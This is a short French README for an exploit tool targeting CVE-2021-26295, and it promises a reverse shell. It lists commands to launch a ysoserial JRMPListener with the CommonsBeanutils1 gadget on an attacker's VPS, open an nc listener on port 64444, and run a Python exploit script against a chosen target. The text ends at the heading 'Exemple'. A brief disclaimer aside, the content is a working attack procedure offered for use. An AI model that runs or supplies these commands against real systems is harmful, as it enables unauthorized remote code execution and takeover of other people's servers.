CVE-2021-26295

CVE-2021-26295 EXP permet d'obtenir un shell inversé avec succès

Ce document et cet outil sont uniquement destinés au partage technique. Toute utilisation illégale est strictement interdite. L'utilisateur assume seul toutes les conséquences.

Déclenchement de l'exploit par exécution de commande

1. Démarrage de l'écoute RMI sur le VPS sur le port 9999

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '[commande à exécuter]'

2. Démarrage de l'écoute nc sur le VPS sur le port 64444

nc -lvp 64444

3. Exécution du script Python

python3 cve-2021-26295_exp.py <target> <vps_ip> <vps_port>

Exemple